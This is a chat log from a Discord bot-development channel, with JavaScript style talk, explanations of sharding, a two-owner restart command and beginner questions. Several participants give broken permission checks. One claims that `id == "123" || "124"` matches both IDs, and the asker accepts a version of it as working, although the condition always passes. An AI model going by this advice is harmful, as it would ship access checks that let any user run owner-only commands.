#development

1 messages ยท Page 548 of 1

quartz kindle
#

there are a few weird cases that i do sometimes with if/else

#

for example

#
//sometimes i do this
if(something) { return } else {
    //code
}```
#

other times i do this

#
if(something) { return }
else if(something2) {
    //code
}```
earnest phoenix
#

Sometimes I do this:

if(something) { var thing = this } else { var thing = noThis! }
amber fractal
#

nvm

#

Why not

quartz kindle
#

yeah i do that as well when everything is a 1 liner

earnest phoenix
#

yee

#

Nice and cleeeeean

#

๐Ÿ‘Œ

neat falcon
#

still not clean enough

earnest phoenix
#

Whatcha mean? ๐Ÿ˜‚

neat falcon
#
if (something)  let thing = this;
else let thing = noThis!;

this tbh

earnest phoenix
#

nah eww

neat falcon
#

ok im leaving now

earnest phoenix
#

lol

#

Gbye I guess?

quartz kindle
#

there are weirdos who do js if(something) { //code } else { //code2 }

neat falcon
#

gross

earnest phoenix
#

๐Ÿคข

#

I use that style for C++/C/C#

inner jewel
#

i always do ```java
if(x) {

} else [if(y)] {

}```

earnest phoenix
#

Square brackets?

#

lol wut

neat falcon
#

java yes

earnest phoenix
#

ah

inner jewel
#

that's just to indicate being optional

quartz kindle
#

yeah i use that style most of the time, when both codes are 2+ lines

inner jewel
#

if there's an else if, it'd go there

earnest phoenix
mossy vine
#
yes = true;
if (something)
{
let thing = this;
yes = false;
};
if (!yes != yes)
{
let thing = this2;
}```;
quartz kindle
#

omg

neat falcon
#

needs more semi-colons

earnest phoenix
#

if (!!!!!true)

#

๐Ÿ˜‚

#

only pros use !!!!!

inner jewel
#

mt js has semicolons on every line

mossy vine
#

fixed

inner jewel
#

:^)

quartz kindle
#

i hate people who use ifs without rbackets

neat falcon
#

can you even use if without brackets

earnest phoenix
#

yes

neat falcon
#

vs code screams at me

#

it's not fun

earnest phoenix
#

you possibly have a linter on

amber fractal
#

while(true){ while(true){ while(true){ while(true){ while(true){ while(true){ while(true){ } } } } } } }

quartz kindle
#

i had to modify a C code for a project, it had a bunch of ifs without brackets in it, and it crashed everything because i was trying to add a line to them

neat falcon
#

i don't got shit installed

earnest phoenix
#

it is in fact, bad practice to omit brackets under if statements

neat falcon
#

oh now it works but looks garbage

quartz kindle
#

that while loop is not any worse than a single while loop

#

only the last one will execute anyways xd

earnest phoenix
#

You all own bots right?

#

did you know that javascript has a do-while loop implementation

#

oof nvm that was a stupid question ๐Ÿ˜‚

#

fml

quartz kindle
#

yeah, read about it once

amber fractal
#

Anyone with a green name does

quartz kindle
#

never used it tho

amber fractal
#

r/greenname

earnest phoenix
#

lol I asked my friend that and he didn't know what a do-while loop is

#

ik Steven. Realised that ๐Ÿ˜‚ Was stooooopid of me to ask lul

#

basically a do-while loop is a post-test loop, meaning the condition is evaluated after the each iteration

#

How many guilds ya'll bots in atm?

quartz kindle
#

500~

earnest phoenix
#

unlike pretest-loops (for and while)

amber fractal
#

41 :(

earnest phoenix
#

๐Ÿ˜ฆ

#

the body of a do-while look always executes at least once

smoky mica
#

I love dbl

earnest phoenix
quartz kindle
#

i love dbz

amber fractal
#

do{ nothing }while(nothing)

#

OOPS

inner jewel
#
repeat until false```
earnest phoenix
#

do {
console.log("hello world");
while (false);

#

can you guess how many times it will output hello world

#

Oh yeah, another question LUL. How would I put functions in a seperate folder and be able to access it anywhere? ๐Ÿ˜›

quartz kindle
#

once

earnest phoenix
inner jewel
#

0 because that's a syntax error

quartz kindle
#

lmao

#

true

earnest phoenix
#

assuming the code is correct

#

I just didn't feel like fixing the missing bracket

inner jewel
#

once

earnest phoenix
#

Uh guys? ๐Ÿ˜›

quartz kindle
#

@earnest phoenix use require

inner jewel
#

also loops are just glorified gotos :^)

earnest phoenix
#

So just plonk my functions into a seperate file and require it?

#

How would I call it?

quartz kindle
#

js has a weird implementation of goto

earnest phoenix
#
var myFunc = require("./dirToFunc")(...);

myFunc(...)

??

quartz kindle
#

you need to assign your function to module.exports

#

kinda

earnest phoenix
#

or that?

quartz kindle
#
const myfunc = require("./dir/funcfile.js");
myfunc(...)```
amber fractal
#

Are your commands in seperate folders?

earnest phoenix
#

Yea

quartz kindle
#

you can also omit the .js part

amber fractal
#

Kinda like how the commands work then, it will just be a little different

quartz kindle
#

and in the func.js you need to use js module.exports = function() { //code }

earnest phoenix
#

Ah, okay. Thank you vm ๐Ÿ˜ƒ

#

I can't spell ffs

quartz kindle
#

or ```js
function myfunc() {
//code
}

module.exports = myfunc```

#

you can also put multiple functions in a file

earnest phoenix
#

eww nah

#

why wouldn't you

quartz kindle
#
function myfunc1() {}

function myfunc2() {}

module.exports = { myfunc1, myfunc2 }```
earnest phoenix
#

Probs better putting them in seperate files... Better to debug right?

#

not really

quartz kindle
#
const { myfunc1 } = require("./dir/file")```
earnest phoenix
#

no need to seprate functions unless they're long, and even if they're long that most likely means that it should be broken down into smaller functions

#

Okay, thanks guys. Again haha

quartz kindle
#

its a good idea to keep "helper" functions in a single file, small functions that do something specific

earnest phoenix
#

yea

#

like my userDB function?

quartz kindle
#

for example in a discord bot, you can have a dedicated file for each command, and a functions file with small functions that the commands use

earnest phoenix
#

oh

#

okay

quartz kindle
#

its very useful if you have many commands using the same functions

#

like your db function

earnest phoenix
#

Ah, okay ๐Ÿ˜›

quartz kindle
#

of course its also possible to have all the small functions in separate files, its just a matter of personal organization preference

earnest phoenix
#

its "oh, okay" Sk1ll!!!

#

No u nut

#

We are literally in a vc. Shut up pleb

#

๐Ÿ˜‚

#

@quartz kindle Okay, I see what you're saying. Thank you.

#

@quartz kindle In the function() part, would I put the things like, client, message, args etc?

quartz kindle
#

whatever you need the function to have access to

earnest phoenix
#

Sorry for ping btw pingwhat

#

Okay

primal ferry
inner jewel
#

update node

primal ferry
#

async and await is not works for me

keen drift
#

node -v

primal ferry
smoky mica
#

okay one second i might be called dumb for this but idc

#

what is shard exactly? and is it really necessary?

inner jewel
#

a shard is a connection to discord

#

and handles a subset of the bot's guilds

primal ferry
#

i fixed it

inner jewel
#

and it's required for big bots

primal ferry
#

nvm

keen drift
#

wew

inner jewel
#

as one shard can't have more than 2500 guilds

smoky mica
#

oh thank you for explaining ^^

primal ferry
#

just updated node xD

smoky mica
#

good job

#

hmm how do you add shards though?

amber fractal
#

Visit your library's docs

#

its different for each one

smoky mica
#

discord.js?

earnest phoenix
#

you don't just "add" shards it depends on what library your using, as sharding is entirely client-side

inner jewel
#

you send the shard id and shard count in the IDENTIFY payload

#

no

#

sharding isn't client side

earnest phoenix
#

it is a process entirely controlled by the developer, except for some information exchanged with the server

#

you can read it yourself if you don't believe me

inner jewel
#

i know how sharding works

#

and the only thing the developer can control is the shard count

#

everything else is controlled by discord

earnest phoenix
#

Guild sharding is entirely user controlled, and requires no state-sharing between separate connections to operate.

inner jewel
#

such as assigning guilds to shards, invalidating connections with > 2500 guilds

earnest phoenix
#

some developers may find it necessary to break or split portions of their bots operations into separate logical processes. As such, Discord gateways implement a method of user-controlled guild sharding which allows for splitting events across a number of gateway connections

inner jewel
#

and discord requires big bots to be split

#

the only thing the user can control is the number of shards and/or how different shards may or may not communicate with each other

earnest phoenix
#

technically discord has no control over the user's implementation of the sharding strategy

#

thus it is merely client-side (there are some exceptions as I mentioned before)

inner jewel
#

they can't control that, but they can enforce their rules

earnest phoenix
#

they can enforce when you need to shard

#

not how you need to shard

inner jewel
#

they can enforce how often a shard can start

#

they can and they do

earnest phoenix
#

you can technically shard your bot more than discord allows and only interface through a limited amount of them

inner jewel
#

by your logic sending messages to another user is clientside because the http request is done by the bot

quartz kindle
#

inb4 discord allows clients to assign guilds to specific shards. bot owners move free shards to australian servers and keep premium shards on US servers

earnest phoenix
#

Not exactly my point

smoky mica
amber fractal
#

Why get that ?

smoky mica
#

What do yall think about this

amber fractal
#

Well you can shard without that

smoky mica
#

Hmm?

quartz kindle
#

if you dont have tens of thousands of guilds, use discord.js v12 (master) with internal sharding enabled

keen drift
#

pretty sure d.js has it built in

#

why use another pkg

smoky mica
#

Oh

amber fractal
#

stable has it aswell

smoky mica
#

I didn't know that

quartz kindle
#

stable has it?

amber fractal
#

Yes, I shard on stable

keen drift
#

Stable has the Shardmanager

earnest phoenix
#

I personally wouldn't conform myself with an internal sharding strategy but yea

keen drift
#

master has the internal one process separate ws

smoky mica
#

Kinda wanna try sharding even though my bot isnt popular but is that a good/bad/stupid idea?

quartz kindle
#

if your vps only has 1 core, internal sharding is better

earnest phoenix
#

arguable

quartz kindle
#

its stupid to shard if you have less than like 1k guilds

inner jewel
#

it's good to be future proof

earnest phoenix
#

^

smoky mica
#

Ahah yeah ig

quartz kindle
#

yes, but dont shard when you have like 20 servers

earnest phoenix
#

yea

smoky mica
#

Yeah alright

#

Kinda sad I can't work on my bot for a while

amber fractal
#

Shard with 1 shard spawn mmLol

smoky mica
#

Ofc

#

Dyno is like using 596 shards I think?

quartz kindle
#

also, another advantage of internal sharding is the memory usage, since node's process alone uses like 60-80mb ram

smoky mica
#

I still need to do more research on shards

earnest phoenix
#

sharding is not exclusive to discord

#

you should know that

quartz kindle
#

how many shards does rhythm have?

earnest phoenix
#

it's more of a concept

smoky mica
#

i see and sorry woops i didnt know that

inner jewel
#

rythm has at least 1200

#

i'll bet on around 1600

quartz kindle
#

how many shards are they running per machine?

inner jewel
#

[01] Rythm : 2,999,663 servers

earnest phoenix
#

they must have some sort of income because I am sure no one is sane enough to pay for such vps's

inner jewel
#

no idea, but last time i heard they had 9 dedis

earnest phoenix
#

just for a discord bot

inner jewel
#

32c32gb each

amber fractal
#

They make income from donations prob at nearly 3 million servers people are most likely donating

quartz kindle
#

they have premium features like volume control right?

#

if 0.1% of their users pay, thats 3k+ paying users

amber fractal
#

I believe so

earnest phoenix
#

rythm has a ton of patrons

smoky mica
#

Woah is rhythm the most popular bot

quartz kindle
#

i believe so

amber fractal
#

How many discord servers are there mmLol

smoky mica
#

I thought Dyno was like pretty popular

quartz kindle
#

like 50 million?

inner jewel
#

100 million

#

last time they released stats

quartz kindle
#

gg

inner jewel
#

dyno is the third biggest

#

second is mee6

smoky mica
#

Most will be test or just small servers

inner jewel
quartz kindle
#

mee6 is bigger than tatsumaki?

smoky mica
#

Mee6 was the first bot of discord or what?

inner jewel
#

that's missing mee6 at second with 1.6 million

#

and dabbot with 450k iirc

smoky mica
#

Because ever since 2015 I've seen MEE6 a lot.

earnest phoenix
#

oh their patreon count dropped, it used to be 2k now it's 1.5k, that still means they earn $1.5k minimally a month

smoky mica
#

do yall get any income from your bot

mossy vine
#

No

smoky mica
#

how many servers is your bot in

mossy vine
#

Reached 100 today ๐Ÿ˜„

smoky mica
#

GG :D

#

Quick question. How does the guild size work lol

#

Why does tatsumaki say streaming 1950 guilds?

quartz kindle
#

i got like 100 bucks in donations for my bot

#

over the course of a year

#

big bots are split into multiple processes

#

tatsumaki is showing the amount of guilds in the current process

#

also called a "shard"

smoky mica
#

oh, i see.

bright spear
#

also the discord outage probably knocked it out

smoky mica
#

can it not show all?

bright spear
#

it can

smoky mica
#

like combine all shards or smth

bright spear
#

yeah

smoky mica
#

why dont they do it then

quartz kindle
#

i believe its quite expensive

inner jewel
#

because they didn't want to bother doing that

bright spear
#

maybe most of the shards got killed by the outage lol

inner jewel
#

iirc it always shows only for current shard

smoky mica
#

maybe

bright spear
#

interesting

#

thats weird

smoky mica
#

but wait wdym expensive

inner jewel
#

not really

quartz kindle
#

collecting info from hundreds of shards across multiple machines every x minutes in order to display an accurate guild count will take too many resources

inner jewel
#

they probably didn't want to query all shards for guild count

#

just for that thing

smoky mica
#

oh i see tim and yeah that too ig natan

bright spear
#

could just pull it from dbl's api tbh

inner jewel
#

and if all shards pulled they'd get ratelimited

bright spear
#

oh

inner jewel
#

and now you also depend on third parties for that to work

smoky mica
#

damn

bright spear
#

i guess once you reach like 700 shards it gets really inefficient

#

and it would probably be super laggy on internal sharding

inner jewel
#

you could just set a key in a database or redis instance or whatever

#

shard-count-shardid

abstract fable
#

anyone know of a bot that can prune members with a role.

or

that can easily report on users that haven't been seen after X amount of days

mental solstice
#

if there is a status change event.. I suppose you could log every status change.. but could be a bit much unless its for a few servers

earnest phoenix
#

@marble elm it gives Promise { <pending> }

marble elm
#

Resolve the promise

celest arch
#

In py how would I embed a random image

#

I know my output is wrong but I got no clue how to fix

inner jewel
#

url=mr

#

get rid of those quotes

copper wraith
#

does anyone know a time / watch config for python3.6?

#

cuz mine doesn't work

earnest phoenix
#

@celest arch are you discord py rewrite

celest arch
#

No

#

Async

earnest phoenix
#

Oh I can't help srry

topaz fjord
#

you should switch to rewrite

#

@celest arch natan told you what to do

#

remove the quotes

celest arch
#

ik

#

I just forgot to say Thank you

earnest phoenix
#

I have an order and I want only 2 IDs to use it, how do I do it?

if (message.author.id !== "528205855200378900" || "523469778690768897") return message.channel.send("Seulement les owners ont le droit d'utiliser cette commande!");
      ```
zealous veldt
#

You're going to need to be more specific than that

earnest phoenix
#

I would like only me and another person to be able to use the bot restart command, only I do not know how to do it @zealous veldt

zealous veldt
#

oh

earnest phoenix
#

Sorry for the ping

zealous veldt
#
if(<message>.author.id !== ("your id" || "other person's id") return <message>.channel.send("You do not have permission")```
earnest phoenix
#

Thx

amber fractal
#

That simplifies it so much more than I have been

#

I never enclosed the if in ()'s

zealous veldt
#

yeah

amber fractal
zealous veldt
#

you could also have an array of allowed users

amber fractal
#

Wait

#

Wot

earnest phoenix
#

Oh

zealous veldt
#

and do ```js
let allowed = ["id", "other id", "anotha one"];
if(!allowed.includes(<Message>.author.id)) return <Message>.channel.send("No");

amber fractal
#

Lol

#

Oh

#

Ye that makes more sense

zealous veldt
#

Yeah

amber fractal
#

I think indexOf would work too tho, no?

zealous veldt
#

yeah

#

includes is cleaner in this situation though

amber fractal
#

Ye

earnest phoenix
#

I have an error

amber fractal
#

Never closed the if

earnest phoenix
#

With ;?

amber fractal
#

no with a )

#

Wait

#

ye

earnest phoenix
#

I'm lost ๐Ÿ˜…

#
const Discord = require("discord.js")
const fs = require("fs");
exports.run = async (client, message, args) => {
  if(message.author.id !== ("528205855200378900" || "523469778690768897") return <message>.channel.send("You do not have permission"))
    try {
      await message.reply('Le bot redรฉmarre.');
      fs.readdir("./commands/", (err, files) => {
        const filez = files.length
        if (err) return console.error(err);
        message.channel.send(`Refreshed \`${filez + 11}\` commands successfully!`)
        console.log("Refreshed " + filez + " commands")
        files.forEach(file => {
             delete require.cache[require.resolve(`./${file}`)];
        });
    });
      process.exit(1);
    } catch (e) {
      console.log(e);
    }
}```
#

I have this

amber fractal
#

Another ) after ...97")

zealous veldt
#

replace <message> with message

amber fractal
#

That too

zealous veldt
#

I was just saying <message> to mean whatever your message object was called

earnest phoenix
#

if(message.author.id !== ("528205855200378900" || "523469778690768897") return <message>.channel.send("You do not have permission"))
With
if(message.author.id !== ("528205855200378900" || "523469778690768897")) return <message>.channel.send("You do not have permission"))

#

?

zealous veldt
#
  if(message.author.id !== ("528205855200378900" || "523469778690768897")```
needs to be

ports.run = async (client, message, args) => {
if(message.author.id !== ("528205855200378900" || "523469778690768897"))```

#

missing a closing paren )

earnest phoenix
#

Okay thx

#

I try

#

Thank you so much

#

But

zealous veldt
#

?

earnest phoenix
#

The another person

#

He don't have the permission

zealous veldt
#

show your code for the if statement

earnest phoenix
#

Okay

#
const Discord = require("discord.js")
const fs = require("fs");
exports.run = async (client, message, args) => {
  if(message.author.id !== ("528205855200378900" || "523469778690768897")) return message.channel.send("You do not have permission")
    try {
      await message.reply('Le bot redรฉmarre.');
      fs.readdir("./commands/", (err, files) => {
        const filez = files.length
        if (err) return console.error(err);
        message.channel.send(`Refreshed \`${filez + 11}\` commands successfully!`)
        console.log("Refreshed " + filez + " commands")
        files.forEach(file => {
             delete require.cache[require.resolve(`./${file}`)];
        });
    });
      process.exit(1);
    } catch (e) {
      console.log(e);
    }
}```
mental solstice
#

can you use a condition like that in JS? check against 2 values?

earnest phoenix
#

Uh I'm just trying to allow 2 IDs only to restart the bot

mental solstice
earnest phoenix
#

Thx i try :c

zealous veldt
#

no @mental solstice

amber fractal
#

That wont work

zealous veldt
#

that wont worl

mental solstice
#

I hate js syntax

amber fractal
#

It wont ever be both

zealous veldt
#

it should be || not &&

earnest phoenix
#

:/

mental solstice
#

if it's not either or, it will return

zealous veldt
#

&& means and

mental solstice
#

yes

zealous veldt
#

so it has to be both

#

which can't happen

earnest phoenix
zealous veldt
#

so the code you suggested in wrong

amber fractal
#

Both must be true, no one person will make both those conditions true

mental solstice
#

yes sorry..

earnest phoenix
#

How should I do it?

mental solstice
#

||

#

but.... will js return.. and still send message?

earnest phoenix
#

Error

mental solstice
#

shouldnt it send message then return

earnest phoenix
#

What do you mean?

mental solstice
#

nothing

earnest phoenix
#

Okay..

mental solstice
#

just used to coding top to bottom

bright spear
#

whats up with that font

#

also what editor is that

earnest phoenix
#

the script is already done but I would like only me and my friend to restart the bot

amber fractal
#
if(id == "123" || "124"){
console.log("Hi") 
}
``` this works with both 123 and 124
earnest phoenix
#

Notepad++ for the modifications

amber fractal
#

Wait

#

Im late

bright spear
#

pls use a real code editor

#

like visual studio code or atom

earnest phoenix
#

Visual Studio Code

#

I know

mental solstice
#

oh, ok Steven, he had it like that before.. I'll just stay out of it ๐Ÿ˜‚ I've been up for about 48 hours anyway

amber fractal
#

Is what you have work @earnest phoenix

#

working8

#

working*

earnest phoenix
#

Working on?

amber fractal
#

Wait

#

I know why

#

enclose the ID's in ""

topaz fjord
#

wait why are you doing filez + 11

#

Tf

#

And yes IDs must be a string

earnest phoenix
#

Okay i try

#

Oh yes the id isn't enclose

mental solstice
#

boosting his commands count to make it look more popular

amber fractal
#

More popular?

earnest phoenix
#

?

amber fractal
#

Its a restricted command

#

lol

#

All that does is reload all of his commands

mental solstice
#

lol kidding he did files.length + 11

amber fractal
#

Ye idk why thats there Thonk

earnest phoenix
#

?

#

I'm french i don't know '-'

amber fractal
earnest phoenix
#

What's the problem?

amber fractal
#

The + 11 we were wondering why its there

earnest phoenix
#

It does not matter

mental solstice
#

:)

amber fractal
earnest phoenix
#

Again

mental solstice
#

debug. use break points

earnest phoenix
#

Okay

#

With Visual Studio Code?

amber fractal
#

you got the right id?

earnest phoenix
#

Yes

mental solstice
#

yes in VSCode

earnest phoenix
#

First: 528205855200378900
Second: 523469778690768897

mental solstice
#

if you debug, you will be able to watch your objects and see the values assigned

amber fractal
earnest phoenix
#

Okay

#

I'm lost T-T

#

I'm only trying to run a command for 2 IDs and have a ton of manipulations lol

#

Again an error

mental solstice
#

ok, enclose your try catch in the if statement, and check if the author.id == "yourid" instead of if !== return

earnest phoenix
#

If he does not check the IDs he will restart

#

Oh

#

But for 2 IDs not 1

#

Hey can anyone help me with my code real fast?

amber fractal
earnest phoenix
#

Okay

#
if (reaction.message.id != '530931660774965289') return;```
It says it can't read message of undefined, so how else can I check the message's id? I don't usually work with the messageReactionAdd event so idk much.
amber fractal
#

d.js?

earnest phoenix
#

Yeah

ruby dust
#

It's weird seeing that an object ID in other libraries is a string and not an integer

amber fractal
#

The parameter passed is named reaction right?

earnest phoenix
#

Yeah, here is the full code line:

bot.on('messageReactionRemove', (reaction, user) => {
    if (reaction.message.id != '530931660774965289') return;
    console.log(`${user.username} removed their "${reaction.emoji.name}" reaction.`);
});```
late hill
#

@earnest phoenix &&

#

not ||

earnest phoenix
#

Wrong line whoops

late hill
#

It's

#

Simple logic

earnest phoenix
#

Okay

amber fractal
#

no user can have both id's Thonk

late hill
#

Yes exactly

mental solstice
#

yes I thought I was right.. but to tired to argue

late hill
#

so if he's using !id1 || !id2 it will never be false

amber fractal
#

Which means that if he does the command it will return as only 1 condition is true

late hill
#

You're just blind

#

He's using !

mental solstice
#

both ids had to be false to return.. if 1 was true.. it would he went to reset

late hill
#

Do you need an example xd

earnest phoenix
#

Thx ^^

amber fractal
#

Clearly not if it works I dont need an example

late hill
#

๐Ÿ™

mental solstice
#

for the first code he put though. it should have been &&

late hill
#

No

#

Look better

earnest phoenix
#

This line is fonctional if(message.author.id == "528205855200378900" || "523469778690768897"){}else{return message.channel.send("Tu n'a pas la perm")}

late hill
#

Oh

#

Yes

amber fractal
late hill
#

That's what i said

#

ngl

#

what

amber fractal
#

He asked a question earlier and it was neglected.

earnest phoenix
#

Yes thx Wesley ^^

#

Who Steven?

mental solstice
#

Regarding Nick's question now

jolly chasm
#

quick question

#

how do you format messages to have the colored line next to them

mental solstice
#

that's a rich embed

ruby dust
#

Look up embed object in the docs of library that you are using

jolly chasm
#

ok thanks

earnest phoenix
#

It does not log anything @amber fractal

late hill
#

lol

earnest phoenix
#

Wait it did log a error ๐Ÿค”

amber fractal
#

Is the reaction event even happening?

earnest phoenix
#

TypeError: Cannot read property 'message' of undefined

late hill
#

reaction is undefined

amber fractal
#

Ah

mental solstice
#

will console.log(reaction) print the entire object?

earnest phoenix
#

Code: console.log(reaction.message.id);

amber fractal
#

Its a parameter of his messageReactionAdd

late hill
#

Yeh

amber fractal
#

remove*

late hill
#

But

#

The error says it's undefined

#

So he fked something up

#

About that

earnest phoenix
#

I am using a message sent before the bot, I do use the raw event so idk if that is the problem

#

that was the issue

#

so that means my raw event is messed up

#

Here is my raw event. Any ideas?

const events = {

    MESSAGE_REACTION_ADD: 'messageReactionAdd',

    MESSAGE_REACTION_REMOVE: 'messageReactionRemove',

};

  bot.on('raw', async event => {

    if (!events.hasOwnProperty(event.t)) return;
    
    const { d: data } = event;

    const user = bot.users.get(data.user_id);

    const channel = bot.channels.get(data.channel_id) || await user.createDM();
    
    if (channel.messages.has(data.message_id)) return;
    
    const message = await channel.fetchMessage(data.message_id);
    
    const emojiKey = (data.emoji.id) ? `${data.emoji.name}:${data.emoji.id}` : data.emoji.name;

    const reaction = message.reactions.get(emojiKey);
    
    bot.emit(events[event.t], reaction, user);

});```
ruby dust
#

Raw event returns a message id, not the object

clever remnant
#

What happened if two bots are using the same Token ?

amber fractal
#

2 instances

clever remnant
#

hmmm

amber fractal
#

Wait

#

if they have different codes?

#

like different commands and stuff

#

No idea

ruby dust
#

2 programs use the same bot account for their own benefit

amber fractal
#

Would it terminate the older connection?

ruby dust
#

How do you think sharding works?

amber fractal
#

If the bot has 2 seperate codes and commands I think is what he means

#

logging into the same client

ruby dust
#

Also, how does discord know that those are 2 different codes?

amber fractal
#

Ill just try it...

ruby dust
amber fractal
#

I just want to see if you can use commands from both files or not

clever remnant
#

I'll try and see what happened,
For example I've a bot who have its own command and the other side I start an other bot with the same Token to read all messages

ruby dust
#

No offense, but this is so easy to understand what will happen that I don't even need to test it to prove it

earnest phoenix
#

Alright

#

So I have a purge command

#

But when I use it

#

it deleted the number I want - 1

#

because it also deletes me saying >>purge <num>

amber fractal
#

Take into account the message sent

#

the purge message

#

counts

earnest phoenix
#

Yeah Ik, but it's still annoying

amber fractal
#

Just add one to the input?

ruby dust
#

User expectation: they want to delete the number of messages without taking the command message into account

earnest phoenix
#
    if(command === `${prefix}purge` || command === mentionprefix + "purge") {
        if(!message.member.hasPermission("MANAGE_MESSAGES") && message.author.id !== ownerID) return message.channel.send("`You must have 'MANAGE_MESSAGES' permission to use this command`")
        const messagecount = args[0]
        if(!message.guild.member(botID).hasPermission("MANAGE_MESSAGES")) return message.channel.send("Please add " + "`" + "MANAGE_MESSAGES" + "`" + " Permission on me in order to delete messages on this channel.")
        message.channel.fetchMessages({limit: messagecount})
        .then(messages => message.channel.bulkDelete(messages))
          .then(messages => message.channel.send("Deleted " + messages.size + " messages"))
         .then(r=> r.delete('1000'))
    }
amber fractal
#

you count right after the first if(command...) add a message.delete()

#

Wait

#

idk if that works

mental solstice
#

arg0

#

args excludes the command itself?

earnest phoenix
#

Er

#

idk

mental solstice
#

do console.log args[0] see if it's the command or the number

earnest phoenix
#

with eval?

#

or put that in front of args[0]

mental solstice
#

below const messagecount = args[0] put console.log(messagecount)

earnest phoenix
#

done

#

now try it?

mental solstice
#

yeah try.. see what it outputs

earnest phoenix
#

"deleted 2 messages"

#

that's all I got

#

I will be back, taking a shower

amber fractal
#

And to what we talked about earlier... the second one didnt login at all

#

I may have done something wrong gimme a sec

#

Ye it just splits it into 2 you can use every command in each

lime vault
#

How young does a bot have to be considered "new"

#

And be on the "Trending New Bots" page

sick cloud
#

nobody really knows

#

the trending system is a mystery

amber fractal
#

Hint: trending on dbl is as broken as tredning on yt

#

trending*

lime vault
sick cloud
#

dbl is worse

earnest phoenix
#

I am back

late hill
#

Having 2 different bits of code for your bot would just fire the events on both

#

pretty simple xd

amber fractal
#

Was there a problem with testing it tho?

keen drift
#

does that mean If I resubmit my bot when v2 comes out, I can be on the trending new bot

late hill
#

I wouldn't test obvious stuff

earnest phoenix
#
    if(command === `${prefix}purge` || command === mentionprefix + "purge") {
        if(!message.member.hasPermission("MANAGE_MESSAGES") && message.author.id !== ownerID) return message.channel.send("`You must have 'MANAGE_MESSAGES' permission to use this command`")
        const messagecount = args[0]
        if(!message.guild.member(botID).hasPermission("MANAGE_MESSAGES")) return message.channel.send("Please add " + "`" + "MANAGE_MESSAGES" + "`" + " Permission on me in order to delete messages on this channel.")
        message.channel.fetchMessages({limit: messagecount})
        .then(messages => message.channel.bulkDelete(messages))
          .then(messages => message.channel.send("Deleted " + messages.size + " messages"))
         .then(r=> r.delete('1000'))
    }```
#

What were you talking about with this

#

Steven

toxic vessel
#

How do i make bot

earnest phoenix
#

terraria

#

you learn to code

#

I started a bit ago

toxic vessel
#

Ok

earnest phoenix
#

like 2 months ago

toxic vessel
#

is coding hard

earnest phoenix
#

It can be

#

Depends

toxic vessel
#

Ok

#

what do i do first

late hill
#

Anyone that can explain the largeTreshold option for Eris

toxic vessel
earnest phoenix
#

@toxic vessel This isn't support for that.

#

What language are you going to write it in?

toxic vessel
#

What do you mean

earnest phoenix
#

....

#

What do you mean what do I mean

#

if he starts he should use nodejs... easiest way ...

#

I use node

#

I love node

#

me2

toxic vessel
#

Html?

earnest phoenix
#

Ok

#

wtf

#

dude that's what websites can be made of.

#

We're talking about a discord bot.

toxic vessel
#

ok

earnest phoenix
#

Go to this server and ask your stuff there

toxic vessel
#

css?

#

javascript?

earnest phoenix
#

stop naming languages

#

and go to that server

toxic vessel
#

Why cant i ask here

earnest phoenix
#

Because this isnt the fucking place to do that kiddo.

toxic vessel
#

Why call me kiddo?

earnest phoenix
#

Cause you act young.

#

why you dont use youtube tutorials... every step is in there lol

toxic vessel
#

I am young

#

๐Ÿคฆ

earnest phoenix
#

Then why did you ask why I called you a kiddo?

toxic vessel
#

Why not

earnest phoenix
#

Alright

clever remnant
#

I learned how to create bot by watching videos

earnest phoenix
#

You don't learn a language from discord bot tutorials

#

You would only know how to make what they are showing.

sick cloud
#

@toxic vessel how old are you

toxic vessel
#

13

earnest phoenix
late hill
sick cloud
#

ok

earnest phoenix
#

Go to that server

late hill
#

whew

toxic vessel
#

I joined it already

earnest phoenix
#

Alright

#

then stop talking here

toxic vessel
#

Ok

earnest phoenix
#

This is for developement.

sick cloud
toxic vessel
#

Help

#

Error: Cannot find module 'discord.js'

#

D::

bright spear
#

...

#

you need to install discord.js

#

before you try to make a bot in js just learn js itself @toxic vessel

#
toxic vessel
#

Oh okay

#

I installed discord js but now annother error...

#

12:31 PM
12:31 PM
SyntaxError: missing ) after argument list

bright spear
#

aclap learn aclap js aclap

toxic vessel
#

Im multitasking

#

@bright spear

bright spear
#

no...

#

you'll be able to fix it if you know js

#

and you actually write your own code

#

instead of copying it from a youtube tutorial or whatever

earnest phoenix
#

agreed

raven bronze
#

I learned discord.JS from a video, and now have advanced bots. [But I mean I did web development before, so I sort of knew JS]

toxic vessel
#

Ok i will learn java script

earnest phoenix
#

there is a differents in learning js and coping js and pasting

amber fractal
#

I'm in computer science classes, but Imma be honest they don't help that much.

#

It felt like a waste of time

#

I finished the entire year of work in 2 marking peroids

#

It's just not worth the time

toxic vessel
#

Discord.Cilent is not a constructor Wth

amber fractal
#

did you require discord.js?

earnest phoenix
#

You spelled โ€œclientโ€ wrong

wheat dawn
#

Anybody interested in wireless chargers for iphone or samsung

amber fractal
#

Oh yea

#

that'd be the problem

#

Lol

toxic vessel
#

oh

tender steppe
#

wireless charger you say?

sick cloud
zealous veldt
#

y e s

smoky mica
#

o o f

hard sorrel
#

Hey!
I need help to integrate a vote system to my bot.
I first wanted to use the vote checker (user per user) and then I wanted the webhook.
I have 2 questions, what is the best and how would I use the Best solution.

Tanks for the help you will give ^^

upper tundra
#

Is it possible to make the bot add reactions to a message just by giving the bot the message ID?

quartz kindle
#

[check for add reactions permission] -> channel.fetchMessage(id).react()

#

if using d.js v11

upper tundra
wet forge
#

.GetMessage(ID).AddReactionAsync();

#

should be something like that

#

but then again it might be in 2.0 only

celest bloom
#

I write

await m.reactions.find(r => r.emoji.name == emoji).remove(msg.author.id).catch(() => {
        if (!message.member.hasPermission("MANAGE_MESSAGES")) {
            console.log("missing Permissions!");
        }
    });

but it still says "Unhandled promise rejection"? But i catch it?

earnest phoenix
#

@upper tundra use ITextChannel's GetMessageAsync

#

Which OS is better to run Node applications?

blazing star
#

any that supports node

earnest phoenix
#

Then witch it's better from Ubuntu and CentOS?

keen drift
#

personal preference

earnest phoenix
upper tundra
#

Okay Thanks

earnest phoenix
#

@earnest phoenix no idea what centOS is, but ubuntu is fine with hosting it

wide ruin
#

sp on svc, i ran the code and got ```npm : The term 'npm' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1

  • npm install
  •   + CategoryInfo          : ObjectNotFound: (npm:String) [], CommandNotFoundException
      + FullyQualifiedErrorId : CommandNotFoundException```
#

it should be added to path

west raptor
#

reinstall node

#

make sure in the process of that, add it to PATH

wide ruin
#

where is that

west raptor
#

where is what?

wide ruin
#

path

west raptor
#

iirc node installer gives you the option to add it to PATH automatically

wide ruin
#

which would be better?

